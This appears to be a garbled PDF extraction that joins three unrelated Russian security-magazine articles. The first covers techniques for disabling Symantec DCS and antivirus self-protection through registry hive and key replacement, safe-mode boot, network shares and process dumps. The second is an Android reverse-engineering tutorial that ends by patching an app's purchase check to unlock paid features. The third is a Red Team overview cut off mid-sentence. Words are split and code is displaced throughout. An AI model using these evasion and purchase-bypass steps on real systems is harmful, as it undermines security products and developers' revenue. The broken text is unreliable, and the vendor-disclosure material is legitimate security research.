Да вай уже перей дем к тех ничес ким деталям!

За мена кус та реес тра
В  сос таве  Windows  API  есть  две  фун кции:    и  .
Пер вая  поз воля ет  экспор тировать  куст  реес тра  (нап ример,  )
в  файл  (в  бинар ном  фор мате),  а  вто рая  —  заменить  весь  куст  реес тра
на ранее экспор тирован ный файл.

RegSaveKeyEx RegReplaceKey
HKLM\System

Трюк зак люча ется в сле дующем. Мы берем куст  , экспор тиру‐ 
ем  его  в файл  с  помощью фун кции  ,  затем  уби раем  из  это го
фай ла записи о защит ном драй вере (фор мат фай лов реес тра  ), пос‐ 
ле  чего  заменя ем  текущий  куст    нашим  модифи циро ван ным.
Пос ле  перезаг рузки  компь юте ра  куст    будет  содер жать  наши
модифи циро ван ные дан ные (то есть записей о защит ном драй вере, которые
мы уда лили, в нем не будет).

HKLM\System
RegSaveKeyEx

из вестен
HKLM\System

HKLM\System

Объ явле ние фун кции RegReplaceKey сле дующее:

LSTATUS RegReplaceKeyA(
 HKEY   hKey,
 LPCSTR lpSubKey,
 LPCSTR lpNewFile,
 LPCSTR lpOldFile

)

На низ ком уров не замена кус та реес тра экспор тирован ным фай лом про исхо‐ 
дит  сле дующим обра зом  (опи сание при веде но для  кус та  ,  путь
к катало гу Windows взят стан дар тный):

HKLM\System

1. Файл    пере име новы вает ся
в  .

C:\Windows\System32\config\SYSTEM

lpOldFile

2. Файл    пере име новы вает ся  в 
.

lpNewFile C:\Windows\System32\con

fig\SYSTEM

3. Опе раци онная сис тема про дол жает исполь зовать для кус та 
файл   вплоть до перезаг рузки.

HKLM\System

lpOldFile

4. Пос ле перезаг рузки опе раци онная сис тема начина ет исполь зовать файл
.C:\Windows\System32\config\SYSTEM

Проб лема  с  защит ными  средс тва ми  зак люча ется  в  том,  что  мно гие  из  них
не  бло киру ют  вызов  фун кции  .  Ата кующий  может  изме нить
дан ные в любом кус те реес тра, который сущес тву ет в виде фай ла на дис ке;
прав да, для это го тре бует ся перезаг рузка компь юте ра.

RegReplaceKey

По доб ный  «недос таток»  (хотя  его  мож но  наз вать  и  уяз вимостью)  был
обна ружен в защит ном решении Symantec DCS, в анти виру сах «Лабора тории
Кас пер ско го» и ESET. Ни одна из этих орга низа ций не приз нала это за  уяз‐ 
вимость.

Windows пре дос тавля ет воз можность уста новить перех ват на замену кус та
реес тра. Драй вер, уста новив ший перех ват, получа ет информа цию об име ни
фай ла,  в  который  будет  пере име нован  текущий  файл  кус та  ( ),
а  так же об име ни фай ла,  которым    текущий куст  ( ).
Защит ный драй вер может про ана лизи ровать файл   и решить, сле‐ 
дует ли заменять им текущий куст или нет.

lpOldFile
бу дет заменен lpNewFile

lpNewFile

Од нако, если прис мотреть ся вни матель нее, мож но заметить, что кон троль
по  име нам  фай лов  надеж ным  быть  не  может,  пос коль ку  могут  воз никать
ошиб ки клас са TOCTOU (time of check to time of use). Защит ный драй вер про‐ 
ана лизи рует файл   и раз решит исполне ние кода для замены кус та
реес тра (time of check), но этот код может получить на вход уже сов сем дру‐ 
гой файл с тем же име нем (time of use).

lpNewFile

Та ким  обра зом,  ата кующий  может  ини цииро вать  вызов  фун кции 
  с  каким‐то  передан ным  ей  на  вход  име нем  фай ла,  а  в  про цес се

работы этой фун кции (что вклю чает в себя обратный вызов в защит ный драй‐ 
вер)  заменить  этот файл  дру гим  путем  пере име нова ния  (новый файл  будет
иметь такое же имя, какое было переда но в фун кцию  , но фак‐ 
тичес ки это уже дру гой файл с дру гим содер жимым). При опре делен ном сте‐ 
чении  обсто ятель ств  это  поз волит  про извести  замену  фай ла  как  раз
перед  исполне нием  кода  для  замены  кус та  реес тра,  но  пос ле  исполне ния
кода про вер ки.

RegRe‐
placeKey

RegReplaceKey

За мена клю ча реес тра
В  сос таве  Windows  API  есть  фун кция  .  Эта  фун кция  чем‐то
отда лен но  похожа  на  ,  толь ко  заменя ет  не  куст  реес тра,
а отдель ный ключ (дан ные для замены берут ся из экспор тирован ного фай ла
реес тра,  в  том  же  бинар ном  фор мате,  что  наз ван  выше).  И  не  тре бует
перезаг рузки.

RegRestoreKey
RegSaveKeyEx

Объ явле ние фун кции RegRestoreKey сле дующее:

LSTATUS RegRestoreKeyA(
 HKEY   hKey,
 LPCSTR lpFile,
 DWORD  dwFlags

);

В качес тве аргу мен та   мож но передать  , что поз‐ 
волит  заменить  ключ реес тра даже в  том слу чае,  если он или его под клю чи
были  откры ты  какой‐либо  прог раммой  (опе рации  над  откры тыми  клю чами
пос ле замены будут завер шены с ошиб кой).

dwFlags REG_FORCE_RESTORE

Ес ли защит ный драй вер не про верит и не заб локиру ет вызов фун кции 
,  то мож но  заменить  некото рые  важ ные  для  работы  защит ного

средс тва  клю чи реес тра. Нап ример,  защит ное решение Symantec DCS поз‐ 
воля ет  заменить  клю чи  реес тра,  отве чающие  за  запуск  сер висов  это го
решения  при  заг рузке  компь юте ра,  пус тыми  клю чами  (то  есть  заменен ный
ключ  ока жет ся  пус тым,  без  каких‐либо  ранее  сущес тво вав ших  под клю чей
и зна чений).

Re‐
gRestoreKey

Прав да, для отклю чения сер висов все же тре бует ся перезаг рузить компь‐ 
ютер.  Ком пания  Symantec  не  приз нала  дан ный  «недос таток»  уяз вимостью
(хотя в 2006 году в отно шении дру гого про дук та той же ком пании ана логич‐ 
ный «недос таток» уяз вимостью  ).был приз нан

Сле дует  отме тить,  что  анти виру сы  «Лабора тории  Кас пер ско го»  и  ESET
бло киру ют подоб ные опе рации. То есть не все так пло хо.

Пе резаг рузка в безопас ный режим
А еще мож но перезаг рузить компь ютер в безопас ный режим (safe mode), где
защит ные  драй веры  обыч но  не  запус кают ся.  Прав да,  если  ата кующий
получил уда лен ный дос туп к сер веру через уяз вимый сер вис, то этот сер вис
в безопас ном режиме вряд ли  запус тится  (и ата кующий потеря ет свой дос‐ 
туп),  а  зна чит,  ата кующе му  надо  как‐то  ина че  обес печить  исполне ние  его
кода в безопас ном режиме.

Один  из  вари антов  —  перекон фигури ровать  опе раци онную  сис тему
на запуск уяз вимого сер виса в безопас ном режиме (это мож но сде лать, нап‐ 
ример,    в  клю че 

). Symantec DCS от такого век тора ата ки не защища ет.
соз дав  под клю чи HKLM\System\ControlSet001\Control\

SafeBoot\Network
По чему  бы  не  защищать  от  изме нений  клю чи  реес тра,  отве чающие

за запуск сер висов в безопас ном режиме?

Ра бота с защищен ными фай лами через общие дирек тории
Ес ли  про цесс  ата кующе го  не  может  про читать  какой‐то  файл,  потому  что
Symantec DCS бло киру ет  попыт ки дос тупа,  то мож но попытать ся  сде лать  то
же самое через общие дирек тории. Так, если иско мый файл находит ся в рас‐ 
шарен ной пап ке, то DCS раз решит дос туп (в том чис ле и на запись) к это му
фай лу по сетево му пути (нап ример,  ),
даже если локаль ный дос туп для дан ного про цес са явно зап рещен.

\\127.0.0.1\c$\block_access_files

Ко неч но,  в  реаль ной  жиз ни  не  ко  всем  фай лам  открыт  сетевой  дос туп,
одна ко быва ют слу чаи,  ког да  к фай лам в  какой‐то общей дирек тории нуж но
зап ретить  дос туп  со  сто роны  про цес са  (на  том  же  компь юте ре),  которо му
такой  дос туп  не  нужен.  Нап ример,  зап ретить  поч товому  сер веру  работать
с фай лами в общей дирек тории, исполь зуемой для обме на фай лами в орга‐ 
низа ции, если и поч товый сер вер, и общая дирек тория находят ся на одном
компь юте ре.

Чте ние защищен ных фай лов через краш‑дам пы
Про читать откры тый в дру гом про цес се защищен ный файл мож но и кос венно.
К при меру, соз дать дамп памяти это го про цес са (нап ример, с помощью ком‐ 
понен та Task Manager или прог раммы procdump) и искать в нем содер жимое
откры того фай ла. DCS не бло киру ет попыт ки одно го про цес са ини цииро вать
соз дание дам па памяти дру гого про цес са.

На скрин шоте ниже — фраг мент дам па памяти Notepad, где открыт файл,
дос туп к  которо му со сто роны про цес са, ини цииро вав шего соз дание дам па
памяти, зак рыт (а в самом дам пе есть содер жимое откры того фай ла).

ВЫВОДЫ
За щита от адми на в Windows и, в час тнос ти, изо ляция прог рамм, работа ющих
с  пра вами  адми нис тра тора,  друг  от  дру га  —  это  не  так  прос то,  как  может
показать ся. Даже весь ма «взрос лые» про дук ты вро де Symantec DCS не пре‐ 
дос тавля ют пол ной защиты.

mailto:ms@bi.zone
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-calls
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/handling-notifications#blocking-registry-calls
https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/writing-preoperation-and-postoperation-callback-routines
https://docs.microsoft.com/en-us/windows-hardware/drivers/network/filtering-layer
https://docs.microsoft.com/ru-ru/windows/desktop/api/winreg/nf-winreg-regsavekeyexa
https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regreplacekeya
https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/ns-wdm-_reg_replace_key_information
https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regrestorekeya
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4266
https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/
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ВЗЛОМ

Об ратная  раз работ ка  поз воля ет  не  толь ко  разоб рать ся
в  сущес тву ющих  при ложе ниях,  но  и  модифи циро вать  их.
В  этом  смыс ле  при ложе ния  на  Android —  клад  для  начина‐ 
юще го хакера и нас тоящий аттрак цион для любите ля. Сегод‐ 
ня  мы  раз берем  нес коль ко  при ложе ний,  что бы  пот рениро‐ 
вать ся  в  реверс‐инжи нирин ге  и  узнать  о  под линных  воз‐ 
можнос тях тво его смар тфо на.

Ка кое при ложе ние мы будем пре пари ровать? Я выб рал для сво их целей 
 — прог рамму для управле ния сооб щес тва ми «ВКон такте» со смар тфо‐ 

на. В нем не пре дус мотре на тем ная тема, поэто му мы с тобой поп робу ем эту
тему добавить.

VK
Admin

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный изло жен ным матери алом.

СОБИРАЕМ И РАЗБИРАЕМ
Сна чала извле чем все ресур сы при ложе ния, исполь зуя ути литу   — она
рас паковы вает и запако выва ет фай лы пакетов APK, которые хра нят ся в сжа‐ 
том,  бинар ном  виде,  и  дизас сем бли рует  прог рам мный  код,  зак лючен ный
в них.

apktool

Что бы получить  уста новоч ный пакет, мож но вос поль зовать ся 
  —  сис темой  для  отладки  прог рамм  на  устрой стве.  В  *nix‐

подоб ных сис темах ADB ста вит ся стан дар тно, с помощью пакет ного менед‐ 
жера, а в Windows — идет в сос таве   или 

.

Android De‐
bugging  Bridge

Android Studio Android SDK Platform
Tools

В  пер вую  оче редь  уста новим  при ложе ние  из Google  Play  Store  на  смар‐ 
тфон,  под клю чим  его  к  компь юте ру  с  помощью  USB,  затем  вос поль зуем ся
ADB для перено са пакета при ложе ния на компь ютер и извле чем его содер‐ 
жимое.

 

 

 

 

 
package:/data/app/com.vk.admin‐Ka5KVtTbnGgxoRqnObb‐pQ==/base.apk
$ adb shell pm path com.vk.admin

 
3881 KB/s (13414132 bytes in 3.374s)

$ adb pull /data/app/com.vk.admin‐Ka5KVtTbnGgxoRqnObb‐pQ==/base.apk com.
vk.admin.apk

 
I: Using Apktool 2.4.0 on base.apk 
I: Loading resource table... 
I: Decoding AndroidManifest.xml with resources... 
I: Regular manifest package... 
I: Decoding file‐resources... 
I: Decoding values   XMLs... 
I: Baksmaling classes.dex... 
I: Copying assets and libs... 
I: Copying unknown files... 
I: Copying original files...

$ apktool d com.vk.admin.apk

/

Пос ле это го мы получим пап ку  , внут ри которой хра нит ся все
содер жимое  исходно го  .apk,  толь ко  в  декоди рован ном  виде.  Что бы  при‐ 
менить изме нения, необ ходимо будет сно ва вос поль зовать ся рядом ути лит.

com.vk.admin/

Сна чала собери при ложе ние обратно в пакет  ..apk

 

 

 
I: Using Apktool 2.4.0 
I: Checking whether resources has changed... 
I: Checking whether sources has changed... 
I: Smaling classes folder into classes.dex... 
I: Building apk file... 
I: Copying unknown files/dir... 
I: Built apk...

$ apktool b com.vk.admin/

За тем  необ ходимо  под писать  при ложе ние.  Это  нуж но,  что бы  и  Google  Play
Store,  и  устрой ство не обновля ли при ложе ние,  если под писи не сов пада ют.
Поэто му не забудь уда лить при ложе ние с телефо на, преж де чем уста новить
свое, под писан ное сво им клю чом. Для соз дания под писи в пер вый раз нуж но
вос поль зовать ся ути литой keytool (вхо дит в  ):Java Development Kit

 

 

 

 
Enter keystore password: 
 
Re‐enter new password:  
What is your first and last name? 
  [Unknown]:  Xakep User 
What is the two‐letter country code for this unit? 
  [Unknown]:  RU 
Is CN=Xakep User, C=RU correct? 
  [no]:  yes

$ keytool ‐genkey ‐keyalg RSA ‐alias xakep ‐keystore ks.keystore ‐valid‐
ity 10000 ‐keysize 2048

Enter key password for  
  (RETURN if same as keystore password): 
 
Re‐enter new password: 

Ког да ты уже соз дал ключ, под пиши при ложе ние.

 

 

 
Enter Passphrase for keystore:  
jar signed.

$ jarsigner ‐sigalg SHA1withRSA ‐digestalg SHA1 ‐keystore ks.keystore 
com.vk.admin.apk xakep

Пос ле это го уста нови при ложе ние на телефон.

 

 

 
3881 KB/s (13414132 bytes in 3.374s) 
Success

$ adb install com.vk.admin.apk

МЕНЯЕМ ЦВЕТОВЫЕ СХЕМЫ
Цве та в при ложе нии мож но нас тро ить нес коль кими спо соба ми:

ис поль зовать встро енные цве та, к при меру  ;• @android:color/white

соз дать палит ру собс твен ных цве тов в фай ле  , которые затем
исполь зуют ся в виде  ;

• colors.xml

@color/text_primary

за дать цвет шес тнад цатерич ным кодом, глав ное — не забывай, что цве та
в  при ложе нии  записа ны  в фор мате   — проз рачность  на  пер‐ 
вом мес те;

•
#AARRGGBB

вос поль зовать ся  парамет рами  , 
внут ри кода Java или Kotlin.

• setTextColor setBackgroundColor

Все эти вари анты жиз неспо соб ны и пос тоян но исполь зуют ся.

colors.xml
Цве товая палит ра при ложе ния содер жится в фай ле 

. Струк тура фай ла выг лядит так:
com.vk.admin/res/val‐

ues/colors.xml

<?xml version="1.0" encoding="utf‐8"?>
<resources>
   <color name="abc_input_method_navigation_guard">@android:color/
black</color>
   <color name="background_chat">#ffebf0f4</color>
   <color name="background_material_light">@android:color/white</
color>
   ...
   <color name="material_grey_100">#fff5f5f5</color>
   <color name="white">#ffffffff</color>
</resources>

Каж дый цвет, который в даль нейшем исполь зует ся в ста тич ных экра нах при‐ 
ложе ния, записан здесь. Наша задача — изме нить цве та, самый прос той спо‐ 
соб  это  сде лать —  инверти ровать. Для  записи  цве та  в фор мате  hex мож но
отнять из 255 каж дый ком понент:  ,   и  , то есть  ,  ,  .
Парамет ры    и    мож но  изме‐ 
нить вруч ную.

R G B 255 ‐ R 255 ‐ G 255 ‐ B
@android:color/white @android:color/black

styles.xml
В  фай ле    заданы  цве та,  но  толь ко
некото рые. Этот файл исполь зует ся самими раз работ чиками, ког да они хотят
сде лать  нес коль ко  цве товых  схем  при ложе ния.  Если  же  этих  схем  нет,
работать при ходит ся нам с тобой.

com.vk.admin/res/values/styles.xml

Не кото рые цве та  тек ста  и фона  заданы имен но  здесь,  поэто му их  нуж но
изме нить ана логич но с  .colors.xml

Layout
В пап ке   находят ся опи сания экра нов при ложе ния.com.vk.admin/res/

  —  уни вер саль ное  хра нили ще  экра нов
для  всех  смар тфо нов.  Если  нет  каких‐то  спе циаль ных  ука заний,  то  будут
исполь зованы эти ресур сы;

• com.vk.admin/res/layout/

  (где    —  вер сия  SDK  смар тфо на,
зависит  от  вер сии  Android  на  устрой стве)  исполь зуют ся  для  работы
с самыми передо выми эле мен тами UI;

• com.vk.admin/res/layoutvXX XX

ос таль ные   зада ют спе цифич ные экра‐ 
ны при ложе ния для ори ента ции устрой ства, раз решения и так далее.

• com.vk.admin/res/layout...

Не кото рые  цве та  при ложе ния,  чаще  все го  зад ний  фон,  мож но  най ти  здесь
и изме нить.

Но  закон чить  мы  пока  не  можем  —  есть  экра ны,  цвет  фона  и  тек ста
которых  задан  не  в фай лах  .xml,  а  пря мо  в  исполня емом  коде  при ложе ния.
Туда нам и дорога.

SMALI
Внут ри при ложе ний на Android исполь зует ся собс твен ный фор мат фай лов —

,  или  ,  и  собс твен ная  вир туаль ная  машина,  что бы  эти
фай лы исполнять, —  .
.dex Dalvik  EXecutable

Dalvik
Как и с любым ком пилиру емым язы ком, для   есть байт‐код — smali —

челове кочи таемый и понят ный с пер вого взгля да.
.dex

Ма шина Dalvik, в отли чие от  , — регис тро вая, а не сте ковая. Регис тры
не  име ют  типов  и  могут  хра нить  всё:  чис ла,  стро ки,  экзем пля ры  клас сов.
При этом язык smali стро го типизи рован.

JVM

Вот  неболь шая  пос ледова тель ность  инс трук ций,  что бы  вывес ти  содер‐ 
жимое регис тра   в лог.v0
1.   — записать в регистр   стро ку  .const‐string v1, "MyTag" v1 "MyTag"
2. 

  —  выз вать  фун кцию  .  Здесь    озна‐ 
чает,  что фун кция  встро ена  в  вир туаль ную машину;   —  спи сок  аргу‐ 
мен тов;    показы вает,  что  сра зу  за  ним  идет  наз вание  объ екта,  клас са
и  так  далее;  ,  ,    —  тип  стро ки;    —  тип  чис ла,  Integer;
а все вмес те ( ) говорит нам о том, что
вызыва ется фун кция   от одно го аргу мен та и воз вра щает она стро‐ 
ку.

invoke‐static  {v0},  Ljava/lang/String;‐>valueOf(I)Ljava/lang/
String; String.valueOf(v0) static

{v0}
L

java lang String; I
‐>valueOf(I)Ljava/lang/String;

valueOf

3.    —  записать  резуль тат  пре дыду щей  опе рации
в  .
move‐result‐object  v2
v2

4. 
  —  залоги ровать  содер жимое 

под тегом из  .

invoke‐static  {v1,  v2},  Landroid/util/Log;‐>d(Ljava/lang/
String;Ljava/lang/String;)I v2

v1

Ес ли  не  уда ется  понять,  что  зна чит  тот  или  иной  регистр  или  что  дела ет  та
или иная фун кция, исполь зуй деком пилятор smali в Java —  .Jadx

Ин туитив но понят ный интерфейс Jadx

Ис поль зовать  Jadx  прос то —  нуж но  лишь  выб рать  файл  и  открыть  его,  код
будет авто мати чес ки деком пилиро ван и показан.

WWW

Ре комен дую  озна комить ся  с 
 Dalvik VM.

до кумен таци ей
по байт‐коду

setBackgroundColor
Для некото рых экра нов при ложе ния исполь зует ся параметр 

, который уста нав лива ет цвет фона. Час то это не ста тич ные экра‐ 
ны, а динами чес кие: с под дер жкой скрол ла, раз личные спис ки и кар точки.

setBackground‐
Color(I)V

invoke‐virtual {v1, v0}, Landroid/webkit/WebView;‐>setBackgroundColor
(I)V

Эта  стро ка  занима ется  изме нени ем.  Что бы  изме нить  цвет,  нуж но  его
записать в регистр, а затем передать в фун кцию вмес то нас тояще го.

const v12, ‐0x1000000
### Эквивалент 0xFF000000 — черного

invoke‐virtual {v1, v12}, Landroid/webkit/WebView;‐>setBackgroundCo
lor(I)V

Те перь прой дись по всем фай лам и замени цвет.
Бы вают слу чаи на порядок про ще.

const v2, ‐0x1
### Здесь ‐0x1 == 0xFFFFFFFF — белый цвет

invoke‐virtual {v1, v2}, Landroid/support/v7/widget/CardView;‐>setBac
kgroundColor(I)V

Нуж но  прос то  изме нить    на  ,  и  при ложе ние  пог рузит ся
во тьму.

‐0x1 ‐0x1000000

Сто ит  быть  вни матель ным  и  пытать ся  разоб рать ся  в  коде:  иног да  опти‐ 
миза тор  кода  будет  переме щать  инс трук ции    вверх,  и  ты  можешь  их
не заметить.

const

setTextColor
Иног да текст, который меня ется в ходе работы с при ложе нием, может менять
свой  цвет.  За  это  отве чает  параметр  ,  вто рой  аргу мент
которо го мож но под менить на нуж ный, в нашем слу чае — белый.

setTextColor(I)V

### Меняем цвет
const p1, ‐0x1
### на белый

invoke‐virtual {v0, p1}, Landroid/widget/TextView;‐>setTextColor(I)V

На этом борь бу со свет лым фоном и ярким экра ном мож но закон чить. Боль‐ 
шинс тво эле мен тов экра на поменя ли свой цвет на про тиво полож ный. Так ты
можешь  изме нить  любое  при ложе ние,  осо бен но  если  ты  любишь  потыкать
в телефон поз дно ночью.

Ре зуль тат изме нений

МЕНЯЕМ ФУНКЦИОНАЛЬНОСТЬ ПРИЛОЖЕНИЯ
Что бы  ощу тить  всю  мощь  smali,  давай  поп робу ем  изме нить  какую‐то  часть
при ложе ния. Нап ример, обой дем про вер ку на внут ренние покуп ки.

Возь мем дру гое при ложе ние —  . Оно показы вает положе ние
МКС  над  Зем лей.  В  нем  мож но  купить  рас ширения:  показ  комет,  пла нет,
Луны, телес копа «Хаббл».

ISS Detector

При копиро вании при ложе ния на компь ютер может воз никнуть проб лема:
в сос таве при ложе ния не один и не два, а целых три фай ла  !apk

 

 

 
package:/data/app/com.runar.issdetector‐dtgy8_hlf1y‐cekrg1_W‐
A==/base.apk 
package:/data/app/com.runar.issdetector‐dtgy8_hlf1y‐cekrg1_W‐A==/split_‐
config.en.apk 
package:/data/app/com.runar.issdetector‐dtgy8_hlf1y‐cekrg1_W‐
A==/split_config.xxhdpi.apk

$ adb shell pm path com.runar.issdetector

Ко пиру ем все. При пере уста нов ке при ложе ния фай лы 
и    потеря ются,  а  без  них  при ложе ние  будет
вылетать. Поэто му  их  нуж но будет  перепод писать:  зай ти  в  них  как  в  архи вы
ZIP, уда лить пап ку   и прог нать через стан дар тную про цеду ру ути литы
jarsigner. Основной же файл мы будем пре пари ровать с помощью apktool.

split_config.en.apk
split_config.xxhdpi.apk

META_INF

По куп ками в при ложе нии занима ется интерфейс  .
Для  него  про писа на  обер тка  :  IabHelper,
IabResult, Purchase, Security, Inventory.

IInAppBillingService
com.runar.issdetector.util

В этом при ложе нии мож но не идти нап ролом, обма нывая сер вис покупок.
Про ще  зас тавить  при ложе ние  думать,  что  все  уже  куп лено.  В  этом  нам
поможет  .Inventory.smali

INFO

В осо бо слож ных слу чаях  такой трюк про вер нуть
не  уда ется,  и  тог да  при ходит ся  под менять  дан‐ 
ные,  зас тавляя сер вис лож но сооб щать о совер‐ 
шенных  покуп ках.  Под робнее  об  этом  мож но
почитать  в  матери але  ком пании  Securing  Apps
( ).PDF

От крыв файл, ты уви дишь поле  ,  которое
содер жит  в  себе  все  покуп ки:  номер  товара,  сопос тавлен ный  с  покуп кой,
которую совер шил поль зователь.

mPurchaseMap<String; Purchase>

.field mPurchaseMap:Ljava/util/Map;
   .annotation system Ldalvik/annotation/Signature;
       value = {
           "Ljava/util/Map<",
           "Ljava/lang/String;",
           "Lcom/runar/issdetector/util/Purchase;",
           ">;"
       }
   .end annotation
.end field

Да лее  в  коде  мы  видим  стро ку  ,
которая  про веря ет,  совер шал  ли  поль зователь  покуп ку.  Для  это го  дела ется
про вер ка на сущес тво вание клю ча   в  .

hasPurchase(String  sku)  ‐>  boolean

sku mPurchaseMap

.method public hasPurchase(Ljava/lang/String;)Z
   .locals 1

   .line 45
   iget‐object v0, p0, Lcom/runar/issdetector/util/Inventory;‐>
mPurchaseMap:Ljava/util/Map;

   invoke‐interface {v0, p1}, Ljava/util/Map;‐>containsKey(Ljava/
lang/Object;)Z

   move‐result p1

   return p1
.end method

А что будет, если в любом слу чае отда вать  ?true

.method public hasPurchase(Ljava/lang/String;)Z
   .locals 1

   const p1, 0x1

   return p1
.end method

Со бира ем при ложе ние и уста нав лива ем его.

 

 

 
Success

$ adb install‐multiplie com.runar.issdetector.apk split_config.xxhdpi.
apk split_config.en.apk

Ре зуль тат изме нения кода

С  это го  мож но  начать  свой  путь  в  реверс‐инжи ниринг.  Я  рас ска зал  тебе
осно вы, с которых начинал сам. Неболь шие изме нения могут улуч шить твою
жизнь — наде юсь, я смог тебе это показать.

mailto:kireevmp@yandex.ru
https://play.google.com/store/apps/details?id=com.vk.admin
https://ibotpeaches.github.io/Apktool/
https://developer.android.com/studio/command-line/adb
https://developer.android.com/studio/
https://developer.android.com/studio/releases/platform-tools.html
https://www.oracle.com/technetwork/java/javase/overview/index.html
https://source.android.com/devices/tech/dalvik/dex-format.html
https://ru.wikipedia.org/wiki/Dalvik
https://ru.wikipedia.org/wiki/Java_Virtual_Machine
https://github.com/skylot/jadx
https://source.android.com/devices/tech/dalvik/dalvik-bytecode.html
https://play.google.com/store/apps/details?id=com.runar.issdetector
https://www.securingapps.com/blog/AbusingAndroidInAppBilling_INS18.pdf
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ВЗЛОМ

Ин дус трия  информа цион ной  безопас ности
асим метрич на:  ата кующий  находит ся
в  более  удоб ном  положе нии,  чем  спе‐ 
циалист  по  защите.  Ата кован ной  сто роне
нуж но  быть  эффектив ной  всег да,  24/7,
а  напада ющей дос таточ но быть  эффектив‐ 
ной  лишь  еди нож ды.  Кро ме  того,  у  ата‐ 
кующе го есть  воз можность  тща тель но изу‐ 
чить  свою  жер тву  перед  активной  фазой
ата ки,  в  то  вре мя  как  дру гая  сто рона
начина ет изу чение наруши теля уже во вре‐ 
мя этой ата ки.

Имен но для  того,  что бы сгла дить эту асим метрию, индус трия ИБ раз делила
про цес сы  на  два  полюса:  обо рони тель ные и  нас тупатель ные. И рас кра сила
их в раз ные цве та — крас ный для ата кующей сто роны, синий — для защища‐ 
ющей ся.

В этой статье на при мере Red Team я рас ска жу об основных фор маль ных
и фак тичес ких  раз личи ях меж ду  коман дами,  рас смот рю,  с  какими  задача ми
стал кива ются  их  учас тни ки,  и,  воз можно,  даже  помогу  тебе  опре делить ся
с  «цве том»,  если  ты  толь ко  начина ешь  свою  карь еру  в  информа цион ной
безопас ности или чувс тву ешь себя не на том мес те.

КРАСНАЯ, СИНЯЯ И ПУРПУРНАЯ КОМАНДЫ
По нятия Red Team и Blue Team приш ли из тра дици онно го воен ного ремес ла,
и суть этих тер минов нис коль ко не изме нилась. Blue Team в кон тек сте кибер‐ 
безопас ности озна чает коман ду экспер тов, задача которых — обес печивать
защиту инфраструк туры.

Клю чевые эта пы адап тивной безопас ности, которые дол жны быть выс ‐
тро ены Blue Team (источник — Gartner)

Сог ласно  архи тек туре  адап тивной  безопас ности,  которую  пред ложило
информа цион ное агентство Gartner, задачи Blue Team делят ся на сле дующие
области:

 — выс тра ивать сис тему защиты от уже извес тных атак;• Prevent

 — выяв лять новые (в том чис ле и  ) ата ки и опе‐ 
ратив но при ори тизи ровать и обра баты вать инци ден ты;

• Detect ра нее неиз вес тные

  —  выраба тывать  ответные  меры  и  полити ки  реаги рова ния
на выяв ленные инци ден ты (на этом эта пе край не желатель но, что бы выяв‐ 
ленные инци ден ты целой катего рией отправ лялись в блок Prevent);

• Respond

 — прог нозиро вать появ ление новых атак с уче том меня юще гося
лан дшаф та угроз.

• Predict

Пос ледний  пункт  с  тех ничес кой  точ ки  зре ния  и  прив носит  нас тоящий  чел‐ 
лендж в работу security‐ана лити ка («Какое там прог нозиро вание, ког да SIEM
завален событи ями и инци ден ты еще не разоб раны?»). К это му бло ку отно‐ 
сят ся  мероп риятия  для  оцен ки  уров ня  защищен ности,  одна ко  они  же  поз‐ 
воля ют оце нить эффектив ность про цес сов и на дру гих ста диях.

Та ким  обра зом,  задача  Red  Team  сво дит ся  не  к  тому,  что бы  «раз нести»
кор поратив ную инфраструк туру и доказать всем, что все пло хо; а нап ротив —
исполь зовать  ана лиз  защищен ности  в  качес тве  конс трук тивной  меры
для оцен ки сущес тву ющих про цес сов и помощи Blue Team в их улуч шении.

Во мно гих орга низа циях, где про цес сы ИБ еще недос таточ но зре лые либо
бюд жеты  не  поз воля ют  рас ширять  штат  безопас ников,  задачи  оцен ки
защищен ности  реша ют  спе циалис ты  Blue  Team.  А  вот  в  круп ных  ком пани ях
нас тупатель ные  мероп риятия  переда ли  Red  Team.  Это  раз деление,  в  час‐ 
тнос ти, поз воля ет биз несу эффектив но оце нивать бюд жеты на информа цион‐ 
ную безопас ность.

Из редка встре чают ся круп ные ком пании, которые добав ляют еще и коман‐ 
ду Purple Team. Ее основная задача — в повыше нии эффектив ности вза имо‐ 
дей ствия  синей  и  крас ной  команд.  «Пур пурные»  экспер ты  помога ют  дру гим
коман дам дру жить, поз воляя синей коман де раз рабаты вать стра тегию и тех‐ 
ничес кие меры для защиты инфраструк туры на осно ве обна ружен ных крас ной
коман дой уяз вимос тей и недос татков. Одна ко при наличии эффектив ной ком‐ 
муника ции  меж ду  Blue  Team  и  Red  Team  необ ходимость  в  Purple  Team
вызыва ет сом нения.

Еще  раз  под чер кну.  Цель  всех  этих  команд  —  повыше ние  уров ня
защищен ности инфраструк туры. При этом:

Blue Team занята защитой инфраструк туры за счет реали зации про цес сов
адап тивной безопас ности;

•

Red  Team  занима ется  эму ляци ей  дей ствий  ата кующе го,  а  так же  выраба‐ 
тыва ет  и  реали зует  стра тегии  для  оцен ки  эффектив ности  про цес сов
защиты и неп рерыв но дос тавля ет резуль таты коман де Blue Team;

•

Purple  Team,  если  она  есть,  выраба тыва ет  эффектив ные  меры  для  Blue
Team с уче том экспер тизы Red Team.

•

Вы бирай свою пилюлю, исхо дя из лич ных инте ресов, но пом ни, что Red Team
не  озна чает  «игры  в  хакеров»  и  какую‐либо  роман тику.  Более  того,  на  мой
взгляд,  в  задачах  Blue  Team  куда  боль ше  реаль ных  вызовов,  потому  что
экспер там  этой  коман ды,  в  отли чие  от  Red  Team,  надо  быть  начеку
в режиме 24/7.

Вы бери свою пилюлю, Нео, но пом ни, что резуль тат дол жен быть один

ВИДЫ НАСТУПАТЕЛЬНОЙ БЕЗОПАСНОСТИ
Ра зоб равшись с высоко уров невыми целями команд, пред став ляем себе, что
выб рали  крас ную  пилюлю.  Рас смот рим  задачи  Red  Team  в  кон тек сте  всех
мероп риятий, свя зан ных с нас тупатель ной безопас ностью.

Хайп вок руг услуг Red Teaming, который одно вре мя наб людал ся в индус трии,
